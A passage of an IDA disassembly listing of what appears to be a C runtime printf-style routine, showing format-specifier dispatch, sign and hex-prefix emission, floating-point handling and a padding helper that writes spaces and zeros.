		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_409D20
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409D94
; ---------------------------------------------------------------------------


loc_409D20:				; CODE XREF: sub_409C30+D2j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_409D41
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409D88
; ---------------------------------------------------------------------------


loc_409D41:				; CODE XREF: sub_409C30+F7j
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_409D62
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx
		jmp	short loc_409D7C
; ---------------------------------------------------------------------------


loc_409D62:				; CODE XREF: sub_409C30+118j
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409D7C:				; CODE XREF: sub_409C30+130j
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409D88:				; CODE XREF: sub_409C30+10Fj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[ebp+var_10], ecx
		mov	[ebp-0Ch], ebx


loc_409D94:				; CODE XREF: sub_409C30+EEj
		mov	ecx, [ebp+var_10]
		mov	ebx, [ebp-0Ch]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_409DC4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dx, cx
		movsx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409DC4:				; CODE XREF: sub_409C30+176j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_409DE8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	dl, cl
		movsx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409E0A
; ---------------------------------------------------------------------------


loc_409DE8:				; CODE XREF: sub_409C30+19Bj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_409DF6
		cmp	al, 7Ah
		jnz	short loc_409E0A


loc_409DF6:				; CODE XREF: sub_409C30+1C0j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_409E0A:				; CODE XREF: sub_409C30+192j
					; sub_409C30+1B6j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_409E31
		jl	short loc_409E1C
		test	eax, eax
		jnb	short loc_409E31


loc_409E1C:				; CODE XREF: sub_409C30+1E6j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_409E6F
; ---------------------------------------------------------------------------


loc_409E31:				; CODE XREF: sub_409C30+1E4j
					; sub_409C30+1EAj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_409E51
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_409E6F
; ---------------------------------------------------------------------------


loc_409E51:				; CODE XREF: sub_409C30+20Aj
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_409E6F
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_409E6F:				; CODE XREF: sub_409C30+1FFj
					; sub_409C30+21Fj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B000
		add	esp, 8
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_409E93:				; CODE XREF: sub_409C30+34j
					; DATA XREF: DMN0:0040FD98o ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jnz	short loc_409EB5
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409F26
; ---------------------------------------------------------------------------


loc_409EB5:				; CODE XREF: sub_409C30+26Aj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 71h
		jnz	short loc_409ED6
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409F1A
; ---------------------------------------------------------------------------


loc_409ED6:				; CODE XREF: sub_409C30+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_409EF7
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_409F0E
; ---------------------------------------------------------------------------


loc_409EF7:				; CODE XREF: sub_409C30+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409F0E:				; CODE XREF: sub_409C30+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409F1A:				; CODE XREF: sub_409C30+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_409F26:				; CODE XREF: sub_409C30+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_409F55
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409F98
; ---------------------------------------------------------------------------


loc_409F55:				; CODE XREF: sub_409C30+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_409F79
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_409F98
; ---------------------------------------------------------------------------


loc_409F79:				; CODE XREF: sub_409C30+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_409F87
		cmp	al, 7Ah
		jnz	short loc_409F98


loc_409F87:				; CODE XREF: sub_409C30+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_409F98:				; CODE XREF: sub_409C30+323j
					; sub_409C30+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_409FE3
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_409FB0
		test	eax, eax
		jz	short loc_409FE3


loc_409FB0:				; CODE XREF: sub_409C30+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_409FBB
		cmp	al, 58h
		jnz	short loc_409FE3


loc_409FBB:				; CODE XREF: sub_409C30+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_409FE3:				; CODE XREF: sub_409C30+371j
					; sub_409C30+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B000
		add	esp, 8
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A007:				; DATA XREF: DMN0:0040FD44o
					; DMN0:0040FD54o ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_40A022
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_40A032
; ---------------------------------------------------------------------------


loc_40A022:				; CODE XREF: sub_409C30+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_40A032:				; CODE XREF: sub_409C30+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B240
		pop	ecx
		cmp	ax, 2
		jz	short loc_40A0A5
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_40A067
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_40A0A5
; ---------------------------------------------------------------------------


loc_40A067:				; CODE XREF: sub_409C30+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_40A087
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_40A0A5
; ---------------------------------------------------------------------------


loc_40A087:				; CODE XREF: sub_409C30+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_40A0A5
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_40A0A5:				; CODE XREF: sub_409C30+415j
					; sub_409C30+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B250
		add	esp, 8
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A0C9:				; DATA XREF: DMN0:0040FD94o
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_40A1B2
		cmp	eax, 6Ah
		jz	short loc_40A15A
		cmp	eax, 6Ch
		jz	loc_40A1CD
		jg	short loc_40A0F7
		cmp	[ebp+var_24], 62h
		jz	short loc_40A11C
		jmp	loc_40A1E7
; ---------------------------------------------------------------------------


loc_40A0F7:				; CODE XREF: sub_409C30+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_40A136
		cmp	eax, 74h
		jz	short loc_40A17E
		cmp	eax, 71h
		jl	loc_40A1E7
		cmp	[ebp+var_24], 7Ah
		jz	loc_40A198
		jmp	loc_40A1E7
; ---------------------------------------------------------------------------


loc_40A11C:				; CODE XREF: sub_409C30+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A136:				; CODE XREF: sub_409C30+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A15A:				; CODE XREF: sub_409C30+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A17E:				; CODE XREF: sub_409C30+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A198:				; CODE XREF: sub_409C30+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A1B2:				; CODE XREF: sub_409C30+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A1CD:				; CODE XREF: sub_409C30+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A1E7:				; CODE XREF: sub_409C30+4C2j
					; sub_409C30+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A201:				; DATA XREF: DMN0:0040FD9Co
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B000
		add	esp, 8
		jmp	loc_40A362
; ---------------------------------------------------------------------------


loc_40A25F:				; DATA XREF: DMN0:0040FDA8o
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_40A2FF
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40A298
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FDC0


loc_40A298:				; CODE XREF: sub_409C30+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40A2B9
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_40A2AD:				; CODE XREF: sub_409C30+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_40A2AD
		mov	[ebp+var_30], eax
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2B9:				; CODE XREF: sub_409C30+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_408FA0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_40A2E5
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_40A2EE
; ---------------------------------------------------------------------------


loc_40A2E5:				; CODE XREF: sub_409C30+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_40A2EE:				; CODE XREF: sub_409C30+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_40A2F4:				; CODE XREF: sub_409C30+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_40A362
; ---------------------------------------------------------------------------


loc_40A2FF:				; CODE XREF: sub_409C30+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AEB0
		add	esp, 8
		test	eax, eax
		jge	short loc_40A362
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A364
; ---------------------------------------------------------------------------


loc_40A322:				; CODE XREF: sub_409C30+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_40A362
; ---------------------------------------------------------------------------


loc_40A337:				; CODE XREF: sub_409C30+29j
					; sub_409C30+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A352
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_40A359
; ---------------------------------------------------------------------------


loc_40A352:				; CODE XREF: sub_409C30+717j
		mov	[ebp+var_28], 25h


loc_40A359:				; CODE XREF: sub_409C30+720j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_40A362:				; CODE XREF: sub_409C30+84j
					; sub_409C30+BDj ...
		xor	eax, eax


loc_40A364:				; CODE XREF: sub_409C30+C6j
					; sub_409C30+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A370	proc near		; CODE XREF: sub_4087E0+25Ap
					; sub_40AEB0+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_40A3EF
		cmp	[ebp+var_4], 0
		jle	short loc_40A3EF
		mov	esi, [ebp+var_4]
		jmp	short loc_40A3EB
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40A370+7Dj
		cmp	esi, 20h
		jbe	short loc_40A3B5
		mov	[ebp+var_8], 20h
		jmp	short loc_40A3BA
; ---------------------------------------------------------------------------


loc_40A3B5:				; CODE XREF: sub_40A370+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A3BA:				; CODE XREF: sub_40A370+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A3E9
		push	edi
		push	offset asc_40FDC8 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A3E1
		add	[ebx+30h], edi
		jmp	short loc_40A3E9
; ---------------------------------------------------------------------------


loc_40A3E1:				; CODE XREF: sub_40A370+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A370+51j
					; sub_40A370+6Fj
		sub	esi, edi


loc_40A3EB:				; CODE XREF: sub_40A370+35j
		test	esi, esi
		jg	short loc_40A3A7


loc_40A3EF:				; CODE XREF: sub_40A370+2Aj
					; sub_40A370+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_40A420
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A418
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_40A420
; ---------------------------------------------------------------------------


loc_40A418:				; CODE XREF: sub_40A370+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A420:				; CODE XREF: sub_40A370+83j
					; sub_40A370+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_40A473
		mov	esi, [ebx+18h]
		jmp	short loc_40A46F
; ---------------------------------------------------------------------------


loc_40A42B:				; CODE XREF: sub_40A370+101j
		cmp	esi, 20h
		jbe	short loc_40A439
		mov	[ebp+var_8], 20h
		jmp	short loc_40A43E
; ---------------------------------------------------------------------------


loc_40A439:				; CODE XREF: sub_40A370+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A43E:				; CODE XREF: sub_40A370+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A46D
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A465
		add	[ebx+30h], edi
		jmp	short loc_40A46D
; ---------------------------------------------------------------------------


loc_40A465:				; CODE XREF: sub_40A370+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A46D:				; CODE XREF: sub_40A370+D5j
					; sub_40A370+F3j
		sub	esi, edi


loc_40A46F:				; CODE XREF: sub_40A370+B9j
		test	esi, esi
		jg	short loc_40A42B


loc_40A473:				; CODE XREF: sub_40A370+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_40A4A4
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A49C
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_40A4A4
; ---------------------------------------------------------------------------


loc_40A49C:				; CODE XREF: sub_40A370+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A4A4:				; CODE XREF: sub_40A370+107j
					; sub_40A370+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_40A4F7
		mov	esi, [ebx+20h]
		jmp	short loc_40A4F3
; ---------------------------------------------------------------------------


loc_40A4AF:				; CODE XREF: sub_40A370+185j
		cmp	esi, 20h
		jbe	short loc_40A4BD
		mov	[ebp+var_8], 20h
		jmp	short loc_40A4C2
; ---------------------------------------------------------------------------


loc_40A4BD:				; CODE XREF: sub_40A370+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A4C2:				; CODE XREF: sub_40A370+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A4F1
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A4E9
		add	[ebx+30h], edi
		jmp	short loc_40A4F1
; ---------------------------------------------------------------------------


loc_40A4E9:				; CODE XREF: sub_40A370+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A4F1:				; CODE XREF: sub_40A370+159j
					; sub_40A370+177j
		sub	esi, edi


loc_40A4F3:				; CODE XREF: sub_40A370+13Dj
		test	esi, esi
		jg	short loc_40A4AF


loc_40A4F7:				; CODE XREF: sub_40A370+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_40A52D
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A525
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_40A52D
; ---------------------------------------------------------------------------


loc_40A525:				; CODE XREF: sub_40A370+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_40A5D7
; ---------------------------------------------------------------------------


loc_40A52D:				; CODE XREF: sub_40A370+18Bj
					; sub_40A370+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_40A57D
		mov	esi, [ebx+28h]
		jmp	short loc_40A579
; ---------------------------------------------------------------------------


loc_40A538:				; CODE XREF: sub_40A370+20Bj
		cmp	esi, 20h
		jbe	short loc_40A546
		mov	[ebp+var_8], 20h
		jmp	short loc_40A54B
; ---------------------------------------------------------------------------


loc_40A546:				; CODE XREF: sub_40A370+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_40A54B:				; CODE XREF: sub_40A370+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_40A577
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_40A572
		add	[ebx+30h], edi
		jmp	short loc_40A577
; ---------------------------------------------------------------------------


loc_40A572:				; CODE XREF: sub_40A370+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A5D7
; ---------------------------------------------------------------------------


